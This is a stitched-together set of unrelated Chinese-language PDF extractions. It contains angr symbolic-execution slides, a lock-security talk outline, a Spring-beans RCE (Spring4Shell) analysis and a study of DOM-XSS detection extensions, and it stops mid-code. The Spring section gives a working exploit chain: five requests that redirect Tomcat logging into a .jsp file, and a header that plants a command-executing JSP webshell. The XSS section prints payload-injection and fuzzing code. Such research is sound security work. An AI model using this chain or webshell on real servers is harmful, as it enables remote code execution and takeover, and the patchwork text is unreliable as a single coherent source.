懶得檢查,意思是當路徑探索完的時候才進行檢查 – 預設是開啟的 initial_state = project.factory.entry_state(args=[project.filename, arg1]) initial_state.options.discard('LAZY_SOLVES') 60 Explosion ● Without LAZY_SOLVES – Checked 5 paths – Pruned 2 paths ● LAZY_SOLVES – Checked 35 paths – Pruned 34 paths . . . . . . . . . . . . . . . . . . . . . . . . (32 paths) 61 Explosion ● Without LAZY_SOLVES – Checked 67 paths – Pruned 1 path ● LAZY_SOLVES – Checked 35 paths – Pruned 2 paths . . . . . . . . . . . . . . . . . . . . . . . . (32 paths) 62 Explosion ● Dynamic path pruning – 根據已經檢查的路徑們,推估現在 unsatisfiable path 的比例 – 依照 unsatisfiable path 的比例調整之後路徑要不要進行檢查的機率 63 Other Debug Options ● REVERSE_MEMORY_NAME_MAP – 保留對記憶體位址的資訊,讓我們可以拿 BVS 的名字 ( 'file_/dev/stdin' )來得到模擬的記憶體位址( 0xffff1234 ) ● TRACK_ACTION_HISTORY – 方便查看之前所模擬執行過的狀態的 ACTION 紀錄 64 Demo 65 結論 ● 現在流行自動打 CTF ● Angr 各種腳本寫法以及優化小技巧 ● 單用 symbolic execution 做自動分析其實還不夠 66 Reference ● Symbolic Execution – Angr: http://angr.io/ – KLEE: https://klee.github.io/ – Triton: http://triton.quarkslab.com/ ● My blog: http://ysc21.github.io/ 67 Q & A
pdf
High Security Locks and Safes Michael Glasser ~ and ~ Deviant Ollam High Security Locks and Safes Why do we use locks? High Security Locks and Safes Why do we use locks? Just to keep things safe and secure? High Security Locks and Safes you can keep the contents of a room safe by wielding a heavy steel door shut… High Security Locks and Safes ... or walling up the opening brick and mortar High Security Locks and Safes Locks are a delicate balance High Security Locks and Safes there are huge, safe doors at banks or the entrance to NORAD mountain... They are heavy duty but they require massive cost and effort to install, operate, and administrate High Security Locks and Safes then there is your typical master padlock... which is a breeze to use, quick to snap shut, and fast to open... too fast, since any dimwit with a shim or a bolt cutter can bypass it High Security Locks and Safes Popular high security locks attempt to go beyond the basics of what's found in standard designs and offer the user strong security without massive hardware or outrageous installation costs. High Security Locks and Safes Popular High Security Locks High Security Locks and Safes Popular High Security Locks • Medeco High Security Locks and Safes Popular High Security Locks • Medeco • Mul-T-Lock High Security Locks and Safes Popular High Security Locks • Medeco • Mul-T-Lock • SFICs High Security Locks and Safes Popular High Security Locks • Medeco • Mul-T-Lock • Others • Q & A High Security Locks and Safes Safes & Safe Locks High Security Locks and Safes Safes & Safe Locks • Safe design High Security Locks and Safes Safes & Safe Locks • Safe design • What makes a decent safe High Security Locks and Safes Safes & Safe Locks • Safe design • What makes a decent safe • Common flaws in safes High Security Locks and Safes Safes & Safe Locks • Safe design • What makes a decent safe • Common flaws in safes • Dumb installations High Security Locks and Safes Safes & Safe Locks • Safe design • What makes a decent safe • Common flaws in safes • Dumb installations • X-07 & X-08 dials (Open Discussion) High Security Locks and Safes Biometric Access Control Devices High Security Locks and Safes Biometric Access Control Devices • Fingerprint Scanners High Security Locks and Safes Biometric Access Control Devices • Fingerprint Scanners • Iris and Retina Scanners High Security Locks and Safes Biometric Access Control Devices • Fingerprint Scanners • Iris and Retina Scanners • Hand Geometry High Security Locks and Safes Questions? High Security Locks and Safes Thank you.
pdf
Spring-beans RCE漏洞分析 1 👺 Spring-beans RCE漏洞分析 说明 要求条件: JDK9及其以上版本; 使⽤了Spring-beans包; 使⽤了Spring参数绑定; Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可; 测试环境 https://github.com/p1n93r/spring-rce-war 漏洞分析 Spring参数绑定不过多介绍,可⾃⾏百度;其基本使⽤⽅式就是利⽤ . 的形式,给参数进⾏赋值,实际赋值过程,会使⽤反射调⽤参 数的 getter or setter ; 这个漏洞刚爆出来的时候,我下意思认为是⼀个垃圾洞,因为我觉得需要使⽤的参数内,存在⼀个Class类型的属性,没有哪个傻逼开 发会在POJO中使⽤这个属性;但是当我认真跟下来的时候,发现事情没这么简单; 例如我需要绑定的参数的数据结构如下,就是⼀个很简单的POJO: /** * @author : p1n93r * @date : 2022/3/29 17:34 */ @Setter @Getter public class EvalBean { public EvalBean() throws ClassNotFoundException { System.out.println("[+] 调⽤了EvalBean.EvalBean"); } public String name; public CommonBean commonBean; public String getName() { System.out.println("[+] 调⽤了EvalBean.getName"); Spring-beans RCE漏洞分析 2 return name; } public void setName(String name) { System.out.println("[+] 调⽤了EvalBean.setName"); this.name = name; } public CommonBean getCommonBean() { System.out.println("[+] 调⽤了EvalBean.getCommonBean"); return commonBean; } public void setCommonBean(CommonBean commonBean) { System.out.println("[+] 调⽤了EvalBean.setCommonBean"); this.commonBean = commonBean; } } 我的Controller写法如下,也是很正常的写法: @RequestMapping("/index") public void index(EvalBean evalBean, Model model){ System.out.println("================="); System.out.println(evalBean); System.out.println("================="); } 于是我开始跟参数绑定的整个流程,当我跟到如下调⽤位置的时候,我愣住了: 当我查看这个 cache 的时候,我惊呆了,为啥这⾥会有⼀个 class 属性缓存???!!!!! Spring-beans RCE漏洞分析 3 看到这⾥我就知道我意识错了,这不是⼀个垃圾洞,真的是⼀个核弹级别的漏洞!现在明⽩了,我们很简单的就可以获取到 class 对 象,那剩下的就是利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊shell。⼀条 完整的利⽤链如下: class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7 class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 看利⽤链就知道,是⼀个很简单的修改Tomcat⽇志配置,利⽤⽇志写shell的⼿法;具体的攻击步骤如下,先后发送如下5个请求: http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6 http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 发送完毕这5个请求后,Tomcat的⽇志配置被修改成如下: Spring-beans RCE漏洞分析 4 接着我们只需要随便发送⼀个请求,加⼀个叫fuck的header,即可写⼊shell: GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Spring-beans RCE漏洞分析 5 可以正常访问shell: 总结 Spring-beans RCE漏洞分析 6 这⾥既然可以调⽤到class对象了,那么利⽤⽅式肯定不⽌写⽇志这⼀种; 后续可以跟⼀下,为啥参数绑定过程中会保留⼀个POJO的class引⽤?
pdf
对⼀些基于chrome的dom-xss插件学习,有 dom-based-xss-finder 和 XssSniper ,看看它们的原理是什么。 mainfest.json 对于chrome来说,mainfest.json包含了整个插件各种配置,在配置⽂件中,可以找到插件⼀些启动的源代码。 ⼏个⽐较重要的⼏个字段 browser_action 这个字段主要负责扩展图标点击后的弹出内容,⼀般为popup.html content_scripts matches 代表scripts插⼊的时机,默认为document_idle,代表⻚⾯空闲时 js 代表插⼊的scripts⽂件路径 run_at 定义了哪些⻚⾯需要插⼊scripts permissions 这个字段定义了插件的权限,其中包括从浏览器tab、历史纪录、cookie、⻚⾯数据等多个维度的权限 定义 content_security_policy 这个字段定义了插件⻚⾯的CSP 但这个字段不影响content_scripts⾥的脚本 background 这个字段定义插件的后台⻚⾯,这个⻚⾯在默认设置下是在后台持续运⾏的,只随浏览器的开启和关闭 persistent 定义了后台⻚⾯对应的路径 page 定义了后台的html⻚⾯ scripts 当值为false时,background的⻚⾯不会在后台⼀直运⾏ XssSnpier 来⾃360 0kee的插件,下载地址:https://0kee.360.cn/domXss/ 出来好早了,我试了下似乎插件有错误还运⾏不了,就直接看相关代码吧。 mainfest.json { "manifest_version":2, "name": "XssSniper", "version": "1.1.33", "description": "Find XSS and SOME", "content_scripts": [ { "all_frames": true, "matches": [ "http://*/*", "https://*/*", "file://*/*" ], "js": ["js/insert.js"], "run_at": "document_start" } ], "background": { "scripts": [ "js/background.js" ], "persistent":true }, "permissions": [ "webRequest", "webRequestBlocking", "*://*/", "tabs", "notifications" ], "browser_action": { "default_icon": { "19": "img/init_19.png", "38": "img/init_38.png" }, "default_popup": "popup.html", "default_title": "Open the pannel." }, "icons": { "128": "img/logo_128.png", "16": "img/error_16.png", "48": "img/logo_48.png" }, "incognito": "spanning", "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'" } 后台执⾏ background.js 去掉http返回头中的 x-frame-options 、 X-XSS-Protection 对于jsonp的内容,会⾃动检测xss,将参数 = 替换为payload 注⼊js insert.js 先看下jsonp的检测 jsonp = jsonp.replace(/\=/ig,"=<img>tsst"); httpRequest(jsonp,function(s){ if (s.indexOf("<img>tsst") > -1) { notify("Jsonp可能存在XSS",jsonp); sendResponse("xss:"+jsonp); } }) MutationObserver 是什么api,查了⼀下,是⼀个监视函数,当dom有变动时候,会触发回调函数。 https://developer.mozilla.org/zh-CN/docs/Web/API/MutationObserver/MutationObserver 它会监视所有新创建的script标签,判断src的内容是否含有 ? 在做进⼀步判断,进⼀步判断是什么呢,就是正则匹 配内容是否像jsonp,提出报警,然后就是替换参数内容看是否存在xss。 监听事件错误 有的xss能够使⽤,但是需要⼀些特殊构造,⼀般的payload打⼊可能只会报错,这时候可以在整个⻚⾯加载前提 前注⼊好监视错误的js,xsssnpier的思想是这种报错可能也有帮助。 xsssnpier的代码如下 window.addEventListener('error', function(e) { if (top == this) { window['vultest_frameerr'] = ""; console.log("self_err_report:"+e.message); Fuzz 通过对 ? 、 # 进⾏分割取值,组合⼀个新的url,最后调⽤⼀个函数 xss_testfrm //top.err_self(e); window['vultest_selferr'] = ""; window['vultest_selferr'] = window['vultest_selferr'] + "|" +e.message; } else { //top.err_report(e,location.href); if (!window['vultest_frameerr']) window['vultest_frameerr'] = ""; window['vultest_frameerr'] = window['vultest_frameerr']+"|"+e.message; //console.log("frame_err_report:"+ window['vultest_frameerr']); } }); xss_testfrm是通过创建⼀个隐藏iframe来执⾏payload。如果使⽤的是alert函数的payload话,成功执⾏会⾃动弹 窗。 最后 因为插件⽆法运⾏了,不知道是它是怎么确定是否存在xss漏洞的,可能出现漏洞窗⼝就⾃动弹个窗? 可以提前对⼀些payload函数hook来监视成功的情况。插件通过监控error来半⾃动审计的⽅案也值得学习⼀下, fuzz的话有针对性的⽐较好,盲⽬的fuzz成效不⼤,可以先发⼀个探测的⽆害payload,知道payload回显的位置 后再针对性进⾏fuzz。 dom-based-xss-finder 这是在chrome商店搜索xss看到的插件,也找到了它的源码:https://github.com/AsaiKen/dom-based-xss-finde r 粗看源码发现代码是通过注⼊js,来hook含有对sink敏感触发点和source触发来源的函数,同时还使⽤了 babel 对代码进⾏了语法树解析和替换,所以就想看看它是如何实现的。 插件使⽤ 可以直接在Chrome store搜索dom-based-xss-finder,或者下载源码使⽤,我是下载源码,⼿动编译的,因为后 ⾯还要进⾏调试和阅读代码,有源代码更好⼀点。 ⼀个测试⽹⻚ function xss_testfrm(s){ try { var xss_frm = document.createElement("iframe"); document.body.appendChild(xss_frm); xss_frm.style.display="none"; xss_frm.id = unescape(s); xss_frm.src = s; }catch(e) { console.log(e); } } git clone https://github.com/AsaiKen/dom-based-xss-finder # 下载代码 npm install # 安装依赖 npm run dev # 调试使⽤,会在build⽂件夹⽣成chrome插件所需要的⽂件,在chrome设置插件位置为build⽬ 录即可。 python开启服务器 开启插件后浏览⽹⻚ http://127.0.0.1/test.html#hacking8 已经发现了注⼊点,详情显示出了source 和 sink,还有调⽤堆栈。 点击 Check and Generate PoC ,插件就会使⽤fuzz的⽅式来爆破poc,最后会得到正确弹窗xss的payload结果 <!DOCTYPE html> <html> <head> <title>dom xss tester</title> </head> <body> hello <script> var a = decodeURI(location.hash.split("#")[1]); document.write("Hello2 " + b + "!"); </script> </body> </html> python -m SimpleHTTPServer 888 原理 很⽜逼的插件,看看它的原理吧 以前接触过的⾃动化查找dom-xss,⼤部分是基于静态规则进⾏识别的。 如 https://paper.seebug.org/1078/ 代码分析引擎 CodeQL 初体验,就使⽤了CodeQL来进⾏dom-xss的搜索,但 是这是静态分析,以前研究过⼀些基于语法树来静态分析js的代码引擎,但是难点就在于怎么寻找从sink到source 的数据,以及它们直接如果有分割成多个变量传递的情况应该怎么办。 dom-based-xss-finder是动态的⽅案,通过提前对⼀些js敏感的源和函数进⾏hook,并打上标记,如果源和敏感 函数最后都是同⼀个标记,就说明它们可以组合成⼀个dom-xss。 mainfest.json 它的mainfest.json内容 { "name": "DOM based XSS finder", "version": "1.0.0", "manifest_version": 2, "description": "A Chrome extension for finding DOM based XSS vulnerabilities", "permissions": [ "storage", "webNavigation", "tabs", "*://*/", "debugger", "unlimitedStorage" ], "icons" : { 当开启了dom-xss寻找之后即调⽤了 src/background/index.js 中start函数 跟进 会注⼊⼀个js到当前⽹⻚(在所有加载之前注⼊),精简版代码 通过调⽤chrome.debugger来实现在每个新标签中注⼊js。 https://developer.chrome.com/docs/extensions/ref erence/debugger/ "16": "images/app_icon_16.png", "128": "images/app_icon_128.png" }, "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'", "browser_action": { "default_icon": "images/icon-black.png", "default_title": "DOM based XSS finder", "default_popup": "popup.html" }, "background": { "scripts": [ "background.js" ], "persistent": true }, "options_ui": { "page": "options.html", "open_in_tab": true } } async start() { await this.interceptor.start(); chrome.browserAction.setIcon({ path: './images/icon-green.png' }); chrome.browserAction.setBadgeBackgroundColor({ color: '#FF0000' }); await this.setCountBadge(); console.debug('start'); } await this.interceptor.start(); 具体注⼊代码的作⽤下⾯再说。继续跟着这个函数,还有⼀些操作。 ⽹络拦截 有关⽹络相关的协议可以看chromedevtools:https://chromedevtools.github.io/devtools-protocol/tot/Networ k/ 接下来使⽤ Network.requestIntercepted ⽤来拦截修改请求消息。 主要功能是拦截script,document类型的⽂本,获取js代码信息,并⽤ babel 进⾏ast语法树分析,进⾏⼀些代码 转换,返回转换后的js代码。 if (PRELOAD_SOURCE === null) { const url = chrome.runtime.getURL("preload.js"); # 获取插件⽬录下的preload.js const response = await fetch(url); PRELOAD_SOURCE = await response.text(); } await debugger_.sendCommand('Page.enable'); await debugger_.sendCommand('Page.addScriptToEvaluateOnNewDocument', { source: PRELOAD_SOURCE }); await debugger_.sendCommand('Network.enable'); // 启⽤⽹络功能 await debugger_.sendCommand('Network.setRequestInterception', { patterns: [ { urlPattern: '*', resourceType: 'Document', interceptionStage: 'HeadersReceived' }, { urlPattern: '*', resourceType: 'Script', interceptionStage: 'HeadersReceived' } ], }); // 设置请求以拦截匹配提供的模式和可选的资源类型 await debugger_.sendCommand('Network.clearBrowserCache'); // 清除⽹络缓存 await debugger_.on('Network.requestIntercepted', async({ interceptionId, resourceType, responseStatusCode, responseHeaders, request }) => { if (responseStatusCode === 200 && ['Document', 'Script'].includes(resourceType) && (request.url.startsWith('http://') || request.url.startsWith('https://'))) { // OK } else { await debugger_.sendCommand('Network.continueInterceptedRequest', { interceptionId }); return; } if (resourceType === 'Script' && this.jsCache[request.url]) { // console.debug('cache hit', request.url); const { start, end, map, rawResponse, body } = this.jsCache[request.url]; this.setSourceMap(debugger_.tabId, request.url, start, end, map); this.setBodyMap(debugger_.tabId, request.url, body); await debugger_.sendCommand('Network.continueInterceptedRequest', { interceptionId, rawResponse, }); return; } let interceptTime = Date.now(); const { body, base64Encoded } = await debugger_.sendCommand( 'Network.getResponseBodyForInterception', { interceptionId }, ); const headerLines = []; for (const key of Object.keys(responseHeaders)) { if (key.toLowerCase() === 'content-type') { if (responseHeaders[key].toLowerCase().includes('text') || responseHeaders[key].toLowerCase().includes('javascript')) { // OK } else { // not text await debugger_.sendCommand('Network.continueInterceptedRequest', { interceptionId }); return; } } headerLines.push(`${key}: ${responseHeaders[key]}`); } let originalBodyStr; if (base64Encoded) { // assume utf8 originalBodyStr = Buffer.from(body, 'base64').toString(); } else { originalBodyStr = body; } let encoding = null; if (base64Encoded) { for (const key of Object.keys(responseHeaders)) { const value = responseHeaders[key]; if (key.toLowerCase() === 'content-type' && value.includes('charset=')) { const m = value.match(/charset=['"]?([\w-]+)/); if (m) { encoding = m[1].trim(); // console.debug('encoding', encoding); } } } if (resourceType === 'Document') { if (originalBodyStr.includes(`charset=`)) { const m = originalBodyStr.match(/charset=['"]?([\w-]+)/); if (m) { encoding = m[1].trim(); // console.debug('encoding', encoding); } } } if (!encoding) { // auto-detect encoding = Encoding.detect(Buffer.from(body, 'base64')); // console.debug('encoding', encoding); } if (encoding) { originalBodyStr = iconv.decode(Buffer.from(body, 'base64'), encoding); } } // console.debug('originalBodyStr', originalBodyStr); let newBodyStr = null; let start = null; let end = null; let map = null; let convertTime = Date.now(); if (resourceType === 'Document') { newBodyStr = originalBodyStr; const scriptTagStrs = originalBodyStr.match(/<script[^/>]*?>[\s\S]+?<\/script>/ig); for (const scriptTagStr of scriptTagStrs || []) { const originalCode = scriptTagStr.match(/<script[^/>]*?>(?:\s*<!--)?\s* (\S[\s\S]+?\S)\s*(?:-->\s*)?<\/script>/)[1]; const converted = convert(originalCode); const code = converted.code; start = newBodyStr.indexOf(originalCode); end = start + code.length + 1; map = converted.map; newBodyStr = newBodyStr.replace(originalCode, code); this.setSourceMap(debugger_.tabId, request.url, start, end, map); } } else if (resourceType === 'Script') { const converted = convert(originalBodyStr); const code = converted.code; newBodyStr = code; start = 0; end = code.length + 1; AST语法树转化 babel本身就是⼀个js语法的编译器,在⽹络拦截中插件会拦截JavaScript代码,并对代码进⾏语法转换。 语法转换的作⽤有⼏点 1. ⼀个是可以将所有的代码和表达式重新组合成“函数”的形式,⽽我们是可以控制这些函数的,意味着可以通过 js函数来更灵活的控制js代码。 2. 通过"函数"控制的⽅式就能很容易明⽩⼀个变量的⾛向,明⽩了变量⾛向就能进⾏污点分析,通过污点分析直 接就可以知道从source到sink的变化过程。 会将ast的结构数据转为以下函数 map = converted.map; this.setSourceMap(debugger_.tabId, request.url, start, end, map); } else { throw new Error(); } // console.debug('newBodyStr', newBodyStr); convertTime = Date.now() - convertTime; console.debug(request.url, 'convert', `${convertTime} ms`); let rawResponse; if (encoding) { const bodyBuf = iconv.encode(newBodyStr, encoding); rawResponse = Buffer.concat([Buffer.from(`HTTP/1.1 200 OK\r\n${headerLines.join('\r\n')}\r\n\r\n`), bodyBuf]).toString('base64'); } else { rawResponse = Buffer.from(`HTTP/1.1 200 OK\r\n${headerLines.join('\r\n')}\r\n\r\n${newBodyStr}`).toString('base64'); } if (resourceType === 'Script') { this.jsCache[request.url] = { start, end, map, rawResponse, body: newBodyStr }; setTimeout(() => delete this.jsCache[request.url], 1000 * 60 * 60 * 24); } this.setBodyMap(debugger_.tabId, request.url, newBodyStr); await debugger_.sendCommand('Network.continueInterceptedRequest', { interceptionId, rawResponse, }); interceptTime = Date.now() - interceptTime; console.debug(request.url, 'intercept', `${interceptTime} ms`); }); } 进⾏语法解析的最终⽬的就是获取可控的source以及相关跟踪的数据流,通过获取类似 document.href 的结构, 对这个结构进⾏标记,并根据语法的左右结构,对左右的数据进⾏标记,就这样⼀直标记直⾄遇到敏感的执⾏函数 sink。 如原本的script是 最终呈现的代码是这样的 具体代码: src/background/convert.js __dombasedxssfinder_plus 加法函数 __dombasedxssfinder_equal == 函数 __dombasedxssfinder_notEqual != 函数 __dombasedxssfinder_strictEqual === 函数 __dombasedxssfinder_strictNotEqual !== 函数 __dombasedxssfinder_plus __dombasedxssfinder_put __dombasedxssfinder_get __dombasedxssfinder_new_Function __dombasedxssfinder_typeof __dombasedxssfinder_property_call __dombasedxssfinder_call <script> var a = decodeURI(location.hash.split("#")[1]); document.write("Hello2 " + a + "!"); </script> import {transform} from '@babel/core'; export default function(src) { const visitedKey = '__dombasedxssfinder_visited_key__'; const plugin = ({ types: t }) => { function callExpression(callee, arguments_) { const e = t.callExpression(callee, arguments_); e[visitedKey] = true; return e; } const visitor = { BinaryExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const { left, operator, right } = nodePath.node; let newAst; if (operator === '+') { // a + b -> __dombasedxssfinder_plus(a, b) newAst = callExpression( t.identifier('__dombasedxssfinder_plus'), [left, right] ); } else if (operator === '==') { newAst = callExpression( t.identifier('__dombasedxssfinder_equal'), [left, right] ); } else if (operator === '!=') { newAst = callExpression( t.identifier('__dombasedxssfinder_notEqual'), [left, right] ); } else if (operator === '===') { newAst = callExpression( t.identifier('__dombasedxssfinder_strictEqual'), [left, right] ); } else if (operator === '!==') { newAst = callExpression( t.identifier('__dombasedxssfinder_strictNotEqual'), [left, right] ); } if (newAst) { nodePath.replaceWith(newAst); nodePath[visitedKey] = true; } }, }, AssignmentExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } let { left, operator, right } = nodePath.node; if (operator === '+=') { // a += b -> a = __dombasedxssfinder_plus(a, b) right = callExpression( t.identifier('__dombasedxssfinder_plus'), [left, right] ); } else if (operator.length >= 2 && operator.endsWith('=')) { const subOp = operator.slice(0, -1); // a -= b -> a = a - b right = t.binaryExpression(subOp, left, right); } let newAst; if (left.type === 'MemberExpression') { // a.b = c -> __dombasedxssfinder_put(a, b, c) const { object, property, computed } = left; let key; if (computed) { // a[b], a['b'] key = property; } else { // a.b key = t.stringLiteral(property.name); } newAst = callExpression( t.identifier('__dombasedxssfinder_put'), [object, key, right] ); } else { const assignmentExpression = t.assignmentExpression("=", left, right); assignmentExpression[visitedKey] = true; newAst = assignmentExpression; } nodePath.replaceWith(newAst); nodePath[visitedKey] = true; } }, MemberExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const { object, property, computed } = nodePath.node; let key; if (computed) { // a[b], a['b'] key = property; } else { // a.b key = t.stringLiteral(property.name); } const newAst = callExpression( t.identifier('__dombasedxssfinder_get'), [object, key] ); nodePath.replaceWith(newAst); nodePath[visitedKey] = true; } }, NewExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const o = nodePath.node; const callee = o.callee; const arguments_ = o.arguments; if (callee.name === 'Function') { const newAst = callExpression( t.identifier('__dombasedxssfinder_new_Function'), arguments_ ); nodePath.replaceWith(newAst); nodePath[visitedKey] = true; } } }, UnaryExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const { operator, argument } = nodePath.node; if (operator === 'typeof') { let newAst; if (argument.type === 'Identifier') { const unaryExpression = t.unaryExpression('typeof', argument, true); unaryExpression[visitedKey] = true; const binaryExpression = t.binaryExpression('===', unaryExpression, t.stringLiteral('undefined')); binaryExpression[visitedKey] = true; newAst = callExpression( t.identifier('__dombasedxssfinder_typeof'), [ // aが未定義の場合、typeof aは通過するが、f(a)はエラーになる。その対応。 t.conditionalExpression( binaryExpression, t.identifier('undefined'), argument ) ] ); } else { newAst = callExpression( t.identifier('__dombasedxssfinder_typeof'), [argument] ); } nodePath.replaceWith(newAst); nodePath[visitedKey] = true; } else if (operator === 'delete') { if (argument.type === 'MemberExpression') { // delete __dombasedxssfinder_get(a, 'b')だとdeleteされないので、 MemberExpressionを残す argument[visitedKey] = true; } } } }, CallExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const o = nodePath.node; const callee = o.callee; const arguments_ = o.arguments; let newAst; if (callee.type === 'MemberExpression') { const { object, property, computed } = callee; let key; if (computed) { // a[b], a['b'] key = property; } else { // a.b key = t.stringLiteral(property.name); } newAst = callExpression( t.identifier('__dombasedxssfinder_property_call'), [object, key, ...arguments_] ); } else { newAst = callExpression( t.identifier('__dombasedxssfinder_call'), [callee, ...arguments_] ); } nodePath.replaceWith(newAst); nodePath[visitedKey] = true; 注⼊的代码 ast解析主要是对源数据进⾏获取,以及对相关的语法结构数据流进⾏标记,注⼊的代码主要就是对敏感函数进⾏ 标记,以及实现ast解析需要的函数。 以其中⼀个 docuement.writeLn 的hook为例⼦ } }, UpdateExpression: { enter: (nodePath) => { if (nodePath[visitedKey] || nodePath.node[visitedKey]) { return; } const { argument } = nodePath.node; if (argument.type === 'MemberExpression') { // __dombasedxssfinder_get(this, "activeNums")++;はエラーになるので、 MemberExpressionを残す argument[visitedKey] = true; } } }, }; return { visitor }; }; try { const { code, map } = transform(src, { parserOpts: { strictMode: false }, plugins: [plugin], configFile: false, sourceMaps: true, retainLines: true, compact: false, }); console.info('map', map); return { code, map }; } catch (e) { console.error(e); return src; } }; 可以看到,会对源数据使⽤ __is_dombasedxssfinder_string_html 判断是否被标记,如果源数据含有被标记 的字段,就会进⾏推送漏洞 __dombasedxssfinder_vulns_push 。 完整的代码如下,在⽂件 src/background/preload.js const documentWriteln = document.writeln; document.writeln = function(...text) { for (let i = 0; i < text.length; i++) { if (__is_dombasedxssfinder_string_html(text[i])) { __dombasedxssfinder_vulns_push(text[i].sources, 'document.writeln()'); } } return documentWriteln.apply(this, arguments); }; if (!window.__dombasedxssfinder_preload && (location.href.startsWith('http://') || location.href.startsWith('https://'))) { window.__dombasedxssfinder_preload = true; (function() { /////////////////////////////////////////////// // String.prototype /////////////////////////////////////////////// const stringPrototypeAnchor = String.prototype.anchor; String.prototype.anchor = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeAnchor.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeAnchor.apply(this, arguments); }; const stringPrototypeBig = String.prototype.big; String.prototype.big = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeBig.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeBig.apply(this, arguments); }; const stringPrototypeBlink = String.prototype.blink; String.prototype.blink = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeBlink.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeBlink.apply(this, arguments); }; const stringPrototypeBold = String.prototype.bold; String.prototype.bold = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeBold.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeBold.apply(this, arguments); }; const stringPrototypeCharAt = String.prototype.charAt; String.prototype.charAt = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeCharAt.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeCharAt.apply(this, arguments); }; const stringPrototypeCharCodeAt = String.prototype.charCodeAt; String.prototype.charCodeAt = function() { return stringPrototypeCharCodeAt.apply(this.toString(), arguments); }; const stringPrototypeCodePointAt = String.prototype.codePointAt; String.prototype.codePointAt = function() { return stringPrototypeCodePointAt.apply(this.toString(), arguments); }; const stringPrototypeConcat = String.prototype.concat; String.prototype.concat = function() { const sources = []; for (let i = 0; i < arguments.length; i++) { arguments[i] = __convert_to_dombasedxssfinder_string_if_location(arguments[i]); if (__is_dombasedxssfinder_string(arguments[i])) { arguments[i].sources.forEach(e => sources.push(e)); } } if (__is_dombasedxssfinder_string(this)) { this.sources.forEach(e => sources.push(e)); } if (sources.size > 0) { const str = stringPrototypeConcat.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, { sources }); } return stringPrototypeConcat.apply(this, arguments); }; const stringPrototypeEndsWith = String.prototype.endsWith; String.prototype.endsWith = function() { return stringPrototypeEndsWith.apply(this.toString(), arguments); }; const stringPrototypeFixed = String.prototype.fixed; String.prototype.fixed = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeFixed.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeFixed.apply(this, arguments); }; const stringPrototypeFontcolor = String.prototype.fontcolor; String.prototype.fontcolor = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeFontcolor.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeFontcolor.apply(this, arguments); }; const stringPrototypeFontsize = String.prototype.fontsize; String.prototype.fontsize = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeFontsize.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return stringPrototypeFontsize.apply(this, arguments); }; const stringPrototypeIncludes = String.prototype.includes; String.prototype.includes = function() { return stringPrototypeIncludes.apply(this.toString(), arguments); }; const stringPrototypeIndexOf = String.prototype.indexOf; String.prototype.indexOf = function() { return stringPrototypeIndexOf.apply(this.toString(), arguments); }; const stringPrototypeItalics = String.prototype.italics; String.prototype.italics = function() { if (__is_dombasedxssfinder_string(this)) { const str = stringPrototypeItalics.apply(this.toString(), arguments); return new __dombasedxssfinder_String(str, this); } return 